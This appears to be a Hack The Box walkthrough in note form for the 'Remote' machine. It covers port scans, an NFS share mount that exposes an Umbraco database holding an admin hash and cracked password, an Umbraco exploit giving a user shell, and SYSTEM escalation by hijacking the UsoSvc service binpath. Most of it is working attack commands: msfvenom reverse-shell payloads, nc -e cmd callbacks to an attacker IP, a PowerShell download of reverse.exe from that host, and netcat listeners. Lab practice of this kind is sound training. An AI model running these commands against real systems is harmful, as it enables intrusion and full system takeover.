

## MOUNT READ SDF FILE GET CRED

## UMBRACO EXPLOIT MODIFY POC GET USER SHELL

## MSFVENOM REVERSE.EXE

## BIND TO USOSVC GET SYSTEM

<http://remote.htb/umbraco/#/login>

PORT STATE SERVICE

5985/tcp open wsman

47001/tcp open winrm

49664/tcp open unknown

49665/tcp open unknown

49666/tcp open unknown

49667/tcp open unknown

49678/tcp open unknown

49679/tcp open unknown

49680/tcp open unknown

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

|\_ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

|\_ SYST: Windows\_NT

80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|\_http-title: Home - Acme Widgets

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/tcp6 rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 2,3,4 111/udp6 rpcbind

| 100003 2,3 2049/udp nfs

| 100003 2,3 2049/udp6 nfs

| 100003 2,3,4 2049/tcp nfs

	100003	2,3,4	2049/tcp6	nfs	
	100005	1,2,3	2049/tcp	mountd	
	100005	1,2,3	2049/tcp6	mountd	
	100005	1,2,3	2049/udp	mountd	
	100005	1,2,3	2049/udp6	mountd	
	100021	1,2,3,4	2049/tcp	nlockmgr	
	100021	1,2,3,4	2049/tcp6	nlockmgr	
	100021	1,2,3,4	2049/udp	nlockmgr	
	100021	1,2,3,4	2049/udp6	nlockmgr	
	100024	1	2049/tcp	status	
	100024	1	2049/tcp6	status	
	100024	1	2049/udp	status	
_	100024	1	2049/udp6	status	
135/tcp open msrpc Microsoft Windows RPC					
139/tcp open netbios-ssn Microsoft Windows netbios-ssn					
445/tcp open microsoft-ds?					
2049/tcp open mountd 1-3 (RPC #100005)					
PORT STATE SERVICE VERSION					
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)					
_http-server-header: Microsoft-HTTPAPI/2.0					
_http-title: Not Found					
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)					
_http-server-header: Microsoft-HTTPAPI/2.0					
_http-title: Not Found					
49664/tcp open msrpc Microsoft Windows RPC					
49665/tcp open msrpc Microsoft Windows RPC					
49666/tcp open msrpc Microsoft Windows RPC					
49667/tcp open msrpc Microsoft Windows RPC					
49678/tcp open msrpc Microsoft Windows RPC					
49679/tcp open msrpc Microsoft Windows RPC					
49680/tcp open msrpc Microsoft Windows RPC					

enum4linux -A remote.htb (DIDN'T WORK)

umbraco exploit @metasploit (DIDN'T WORK???)

searchsploit httpd 2.0

anonymous login FTP(can't put files)

2049/tcp open mountd 1-3 (RPC #100005)

showmount -e 10.10.10.180

Export list for 10.10.10.180:

/site\_backups (everyone)

Login attempt succeeded for username **admin@htb.local** from IP address 192.168.195.1

root@akg:/home/akg/Desktop/hackthebox/remote/mount/App\_Data# ls

cache Logs Models packages TEMP umbraco.config **Umbraco.sdf** WebConfig

[admin@htb.local](#) b8be16afba8c314ad33d812f22a04991b90e2aaa hashAlgorithm SHA1 baconandcheese

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.32 LPORT=443 -f aspx > exploit.aspx

try magicbyte GIF8;

GETTING USER

root@akg:/home/akg/Desktop/hackthebox/remote# python -m SimpleHTTPServer 80

root@akg:/home/akg/Desktop/hackthebox/remote# python3 payload.py

root@akg:/home/akg/Desktop/hackthebox/remote# nc -nlvp 4444

root@akg:/home/akg/Desktop/hackthebox/remote# python3 payload2.py

USER SHELL!!!!!!!!!!

Whoami /all

SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
-------------------------	--------------------------	---------

SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
------------------------	---	---------

SeCreateGlobalPrivilege	Create global objects	Enabled
-------------------------	-----------------------	---------

wmic service where started=true get name, startname (SHOW WORKING SERVICES)

```
c:\Windows\Temp>echo c:\windows\temp\nc.exe 10.10.14.32 8888 -e cmd >reverse.bat
```

```
c:\Windows\Temp>sc config UsSvc binpath="c:\windows\temp\reverse.bat"
```

```
sc start UsSvc
```

DIDN'T WORK!!!

```
root@akg:/home/akg/Desktop/hackthebox/remote# msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.32 lport=8888 -f exe --  
platform windows >reverse.exe
```

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.32/reverse.exe','C:\Windows\Temp\reverse.exe')"
```

```
c:\Windows\Temp>sc config usosvc binpath="c:\windows\temp\reverse.exe"
```

```
root@akg:/home/akg/Desktop/hackthebox/remote# nc -nlvp 8888
```

```
c:\Windows\Temp>sc start usosvc
```

SYSTEM!!!!!!!!!!!!